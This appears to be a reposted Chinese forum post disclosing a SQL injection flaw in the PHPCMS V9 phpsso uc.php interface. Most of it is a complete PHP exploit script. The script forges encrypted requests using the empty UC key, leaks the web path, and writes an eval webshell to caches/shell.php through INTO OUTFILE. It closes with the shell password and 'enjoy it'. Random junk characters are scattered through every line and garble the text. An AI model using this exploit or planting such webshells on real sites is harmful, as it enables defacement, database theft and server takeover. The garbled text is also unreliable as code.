PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。: `" ~0 r1 _3 w) I ]1 F
; _+ k0 p. M P9 p3 h* F$ h0 o: }
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。1 L' X" y6 H5 V- x, H. C. c
5 g& f' D. B$ L7 h& J
漏洞分析:( Q5 u3 S! I/ i' g( M
1.未启用ucenter服务的情况下uc_key为空3 ]% ^! }/ h. a ]9 F* i
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
8 l# M. E: b7 Q4 r2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。# `8 w" s/ D2 I9 G, |# u% L
public function deleteuser($get,$post) {
% ~; u8 v1 J2 U pc_base::load_app_func('global', 'admin');# z- [ L3 a" @
pc_base::load_app_class('messagequeue', 'admin' , 0);
+ r+ G; Q! n* U) {: [ $ids = new_stripslashes($get['ids']);. r4 M @3 ?3 N
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
9 D+ x, S8 `1 j) D$ f6 ~SQL语句为
. f; x, g, c+ B" @6 w. v4 {SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
; y6 ?8 l' t/ K" `- ^; [9 u L+ w
6 w8 x& K# C- g. t: `8 t, W利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
. e4 [2 B* K `; ?( E2 r" f<?php# T; U1 k# l, ?# \5 j
print_r('
# Q* w9 O6 o+ O---------------------------------------------------------------------------
. [. O, |+ ]* n; EPHPcms (v9 or Old Version) uc api sql injection 0day
2 L( {, Z( G3 _by rayh4c#80sec.com/ G5 d3 j# i9 Q, q* h! g4 Z0 z4 N
--------------------------------------------------------------------------- W2 b8 q1 R. f/ H/ {0 K9 r
');
/ t" R# X9 I; F! V% k s, e! Y/ `9 F- I) P _# N: \9 e
if ($argc<3) {7 D( h( }% M1 \8 }! A
print_r('
3 N& _, T F% d---------------------------------------------------------------------------* \" G: ]9 U0 y" K- J* p
Usage: php '.$argv[0].' host path OPTIONS( D' i( d1 G+ ]' q1 N: R3 m
host: target server (ip/hostname)
q& _6 H8 w- c5 p% w* Epath: path to phpcms6 L( [5 T; w& N" z
Options:) G, ^- C! g. M# S, J6 m
-p[port]: specify a port other than 80# ?- H: t) P1 Z& g7 ]& H
-P[ip:port]: specify a proxy
2 I* |/ J. y: ZExample:/ K2 _) o$ U5 J1 _
php '.$argv[0].' localhost /
' Y0 |7 \3 K2 q- f5 o$ wphp '.$argv[0].' localhost /phpcms/ -p81
1 H, Z H6 S. U v1 k' kphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:808 q+ i8 y, a9 w" y- t
---------------------------------------------------------------------------$ j8 d/ q6 E9 ]- ~( h
');
# \) v4 Z3 S$ x% R1 k die;; X( ]- j4 s: ^0 \$ K. g
}
- p; [0 W. |$ A5 W( i' ^) G& Y
+ y8 H) b2 M. Uerror_reporting(7);5 p" V* G Z1 }
ini_set("max_execution_time",0);: R( i! o- R. G9 Q; R. b" a* y1 @
ini_set("default_socket_timeout",5);
7 }- w; I# Q9 G% A/ e
e: o3 m+ H: H mfunction quick_dump($string)
2 p9 Z& H; k; o- I4 u8 b/ q: j- M{
6 z D' Z$ h5 S2 n( \9 z2 t/ d6 p $result='';$exa='';$cont=0;/ O7 X- V/ h9 S& Y- W- k' {
for ($i=0; $i<=strlen($string)-1; $i++)
" L! _* Y6 m8 ~" l {
- Y4 ?! [2 U* ]8 `2 u if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
4 p+ i0 g6 k$ g( x$ I0 O7 t' V {$result.=" .";}
2 j' B& A! L( H" \ else" V. w* P% z( C. q( m1 I# o1 _$ a
{$result.=" ".$string[$i];}
) b9 N8 i3 m# D, M: [ if (strlen(dechex(ord($string[$i])))==2)
" S) V1 A C3 i; B* F {$exa.=" ".dechex(ord($string[$i]));}; b+ s" w1 X* o1 l
else
3 I& K* U0 b) |3 f {$exa.=" 0".dechex(ord($string[$i]));}; |# e A0 z& ^* A: Q# R
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}* s5 D8 p( o0 ~7 I" @
}2 [# o1 L. i5 s! y9 `
return $exa."\r\n".$result;, l Z5 [' |4 e1 E2 F0 u
}, H8 d: n1 Q0 V
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
i4 e& W; J5 |% D ]( P5 z2 s% I; `9 \7 q v
function send($packet)$ V2 z- X3 u' C( k
{) Z4 g9 _3 ]1 c
global $proxy, $host, $port, $html, $proxy_regex;
/ z) |. M' W) Q* o0 C& _ if ($proxy=='') {
; M; v2 S7 p3 D3 F/ M $ock=fsockopen(gethostbyname($host),$port); F0 @$ ?! y" h/ ]' G; ^
if (!$ock) {1 X% \4 v, V3 j3 p
echo 'No response from '.$host.':'.$port; die;1 F, t U) e h, j, ^
}4 x/ s/ C6 w: q+ r; A" p% k- K
}% E2 x- ~* v# M8 u
else {0 M1 d4 X! q( w. j5 g2 x. w
$c = preg_match($proxy_regex,$proxy);1 s7 J7 ^4 i: B
if (!$c) {# J+ f m+ q2 k% E& r; Z
echo 'Not a valid proxy...';die;# p9 {8 l1 u+ o" t* c$ @1 z
}) k: _4 y& t9 J4 l
$parts=explode(':',$proxy);
9 X4 e) t% o) w3 w# v, M $parts[1]=(int)$parts[1];# ] J& G {0 b& K
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";4 J6 v0 t7 v/ T* U( e
$ock=fsockopen($parts[0],$parts[1]);, _- g/ K, y$ D" c9 S# u
if (!$ock) {
) c" o6 }9 u! }: D& `, C$ R echo 'No response from proxy...';die;
5 ^5 I6 V1 r; I3 Z4 O }& z2 }; R6 |( C6 }% b3 f
}
6 H6 b/ [- Q) Z% g2 \7 u& V fputs($ock,$packet);
" T) z6 b- h7 W, o5 U+ I if ($proxy=='') {
$ W& J; I' X# [, w $html='';; I+ [- f- Z& K$ h' P4 z/ ~& a8 x
while (!feof($ock)) {& ] o6 V) S" m0 B$ T
$html.=fgets($ock);
, T& c, k& @5 V; {8 U }) |% Y) u5 \5 K4 O# A
}
1 }# n* I9 a; I8 L else {
; H8 w5 g1 z) w. P9 S6 h6 D2 Q! x $html='';4 ^5 {1 t* u$ G! P j
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
! B+ M3 w) L3 I x: i5 V $html.=fread($ock,1);
% M- `% Y& Y. G( | }
) n) {, L. C) x( R }6 t, r4 t- ~+ y
fclose($ock);
% f+ T7 b+ b: v1 C}
2 k0 S6 ]$ [. m& R3 `& g( ?' C& v9 {# g0 M4 Y3 y8 U
$host=$argv[1];, ~& h& A( C( D" B0 a
$path=$argv[2];
+ g- R7 w! I, B; ^$port=80;: a* A% ]3 f E ]; ^3 \ `
$proxy="";
3 Z+ E- N! f0 B. B zfor ($i=3; $i<$argc; $i++){/ B- m8 _- I/ Q/ \* s
$temp=$argv[$i][0].$argv[$i][1];; l' F. v5 k' Y8 y$ N3 j
if ($temp=="-p")
4 z+ z& a9 j# _7 \8 \/ d) x1 {{! H/ y2 P2 B% n- k
$port=(int)str_replace("-p","",$argv[$i]);
( C/ {" y' q. z: x# i, W}
* y$ M5 X6 P- q! K7 V) w" Fif ($temp=="-P")
( ]+ B1 N2 |9 n{
! H- @) m i+ ?2 Z8 A $proxy=str_replace("-P","",$argv[$i]);/ n0 I5 q- j+ L
}
9 C2 Z" h2 q$ a" r. V} u8 P3 ^+ t8 }9 n
( L2 {8 O# A+ |6 {% K8 N' W
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
0 T* v* w u" R. s$ Mif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
6 [# `1 g! K7 m9 r; J0 S' I
* i. r( r2 g2 i' |2 ufunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {6 V9 Q. ?' Z, A% b; P* {
, J5 P9 B f* d! l1 {
$ckey_length = 4;( \0 X T2 r' {/ W
/ _! }1 R/ i+ }9 O $key = md5($key ? $key : '');
* }% q% F. S* E- l7 j! b $keya = md5(substr($key, 0, 16));" i. A& z, g& J' }$ h+ P
$keyb = md5(substr($key, 16, 16));
W6 _3 O# j& x' L0 \9 O S $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';) c0 i4 l+ ^: e$ r* @5 `
3 S$ X) o' L! k3 m; ?: K8 J- [ $cryptkey = $keya.md5($keya.$keyc);
( F8 q: m3 t4 t h6 Y2 ?9 L5 \; ? $key_length = strlen($cryptkey);% b$ T. C- C# m/ C* F- N5 y
8 y0 D/ i. O+ ?- Q: p7 i( d
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$ |) r; `7 y# [7 p8 I9 k $string_length = strlen($string);
+ f8 y3 y# n- S8 H+ a% O& L6 x
+ ~) {, T% @( x- N $result = '';# s. {7 [; o' @1 G7 ]- q
$box = range(0, 255);
5 G+ ^- u0 S# ?$ X) m1 Y3 D/ B- F" @/ [4 [+ l- m' S: h
$rndkey = array();, F$ y# z4 N! h4 w
for($i = 0; $i <= 255; $i++) {
3 k, J! Z4 B' i0 T8 ` $rndkey[$i] = ord($cryptkey[$i % $key_length]);
3 |' B; ~6 d- A4 N }6 W# P) b* U6 N3 D! P
: `) P! }% C, D* S" Q5 |
for($j = $i = 0; $i < 256; $i++) {3 @* I# c0 R8 |9 ~- m
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
# |. K X/ s: Z& l3 ^ $tmp = $box[$i];- i' o* a0 P! f$ B
$box[$i] = $box[$j];1 B: v# |1 Z& c( a
$box[$j] = $tmp;
& t' Y2 y1 m% K1 i; R8 z; S }
* H* l! \- p7 P% H( p; Y
9 I$ U) D4 f( J- H" k# X0 {8 }9 w' T for($a = $j = $i = 0; $i < $string_length; $i++) {( x2 X3 }) L& F, g3 e$ y \2 m
$a = ($a + 1) % 256;
- p8 ~% Y5 W0 t $j = ($j + $box[$a]) % 256;
* k" K4 H- S* Z) S $tmp = $box[$a];5 c+ R' e2 ?/ E! l4 ^% S: J$ H6 ]
$box[$a] = $box[$j];0 t9 B6 _) R, C& u" M6 j3 A% s
$box[$j] = $tmp;2 g1 k8 M# K& r2 }( N$ `! q
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
* Q) l. F0 f: Y+ i% K }# _) Q l" \1 i! ^: I
, e! ?) B/ f. ~- o# B* |' y7 V
if($operation == 'DECODE') {
' V I/ p% g k0 K$ F9 ~0 y if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
6 G2 B3 m* {$ `; ?# K' B6 @% `% i return substr($result, 26);+ H: L! T6 {; x, \; j
} else {1 |0 W: D5 S+ ?! P
return '';
, c5 T% G* ~5 D5 [ G5 X }
S; Q) B+ f1 i# V } else {
; T- i2 T, Z; g6 `+ S V return $keyc.str_replace('=', '', base64_encode($result));
6 R' _3 i0 Y. {1 |) D t }+ P2 ~% U$ ^- ?0 }8 Y; `& ^6 [
1 M. |4 v" @- j N" |8 q9 |}
4 o |# R, D" z/ Y3 r- D$ v: x5 H I$ Q- V L
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";* c+ m6 f# n9 p& e R. b9 b$ Z; P
$SQL = urlencode(authcode($SQL, "ENCODE", ""));: }- {* C. }( x
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n"; J+ b7 H( ~9 c9 A' V8 r2 d0 ~
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";; z! E% ]7 S6 N" v& Z
$packet.="User-Agent: Mozilla/5.0\r\n";/ Y& @2 Z2 _ e* u' `" r; t/ a
$packet.="Host: ".$host."\r\n";4 m: [. Q9 b4 A) P+ e
$packet.="Connection: Close\r\n\r\n";
7 g2 ]0 h+ O0 U* esend($packet);
& D/ x$ p- e+ X$ L# l% Jif(strpos($html,"MySQL Errno") > 0){
, k/ S7 T2 Y, E& iecho "[2] 发现存在SQL注入漏洞"."\n";
! s/ d3 r$ }+ F) M) G5 recho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";* x. y6 y5 \, Z4 s
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";5 _3 v2 Y0 c5 x; }
$packet.="User-Agent: Mozilla/5.0\r\n";
) E3 v- Q1 d! @8 \7 Q7 n3 f$packet.="Host: ".$host."\r\n";, v6 S) `+ D( F7 P3 b2 k) S D/ |
$packet.="Connection: Close\r\n\r\n";
1 Q9 }& }% D3 D2 ~& I+ [send($packet);) f1 i! W$ E$ @- B
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);$ B' V6 \5 G8 a9 Z. i3 I9 L
//print_r($matches);
! y2 `+ i% ?2 o( {6 [& N6 U, W4 Uif(!empty($matches)){, \' C# b4 T w1 T
echo "[4] 得到web路径 " . $matches[0]."\n";
- J7 d) O1 B7 t: y$ }2 E' ~$ Yecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";9 P' G- c y6 y0 ^0 D" c
$SQL = "time=999999999999999999999999&ids=1)";0 o/ I# k. X, J
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
/ E8 y+ W' D. | h& h" r5 n$SQL.="&action=deleteuser";' `& W5 U& \2 m h7 A
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
5 U4 ]! r# r: H; d- ]echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";) n2 G# G* e* Z) x# W8 H
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$ w# e7 c; m! C1 d: T$packet.="User-Agent: Mozilla/5.0\r\n";
7 L3 x# ]5 ^& Y3 T' |) M# N3 P- [$packet.="Host: ".$host."\r\n";
[; l: h! _. j$packet.="Connection: Close\r\n\r\n";
8 w+ k d3 b4 ?" Zsend($packet);
/ [' [& p% ^6 h& ~& lif(strpos($html,"Access denied") > 0){! U: K0 N) ?1 B1 e- H7 i: }6 j
echo "[-] MYSQL权限过低 禁止写入文件 ";
) u* K' S$ a8 ]5 F" t$ Ydie;2 J: i* R; y C& u
}
, i/ O* w4 p8 w. T2 secho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";; t5 p' |- P6 k( ]
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";6 Y1 \( b, o9 @: {; A3 J
$packet.="User-Agent: Mozilla/5.0\r\n";) K7 y' B% n! R5 G
$packet.="Host: ".$host."\r\n";0 w' }3 i7 V0 p0 p( c
$packet.="Connection: Close\r\n\r\n";- U$ _* u; D+ T; Y5 u
send($packet);
" F3 ^1 M2 i$ Y5 n4 m( ^1 Uif(strpos($html,"<title>phpinfo()</title>") > 0){
( ~( |2 t7 [7 R( A3 D0 n; Jecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";. j+ |/ E5 U$ f! j" Z& L3 i! t
}
$ |1 t; O- x- C' _, r}else{
: W+ Z }. g7 d# d8 i; F. lecho "[-]未取到web路径 ";
2 L( i1 u' u7 V# Z7 v% c}
: A0 y& E0 }6 B}else{& y) ]: s! w R: Y$ \4 a0 }/ ]% N- K
echo "[*]不存在SQL注入漏洞"."\n";
9 r1 I8 F9 ]% |) Y) x; m( \# d}
3 G! c1 h+ G! C, }+ o' \
9 p! Q2 k( w5 c6 ^- R9 V# O" k! ??>
/ E& P x! B3 u9 ?, ? |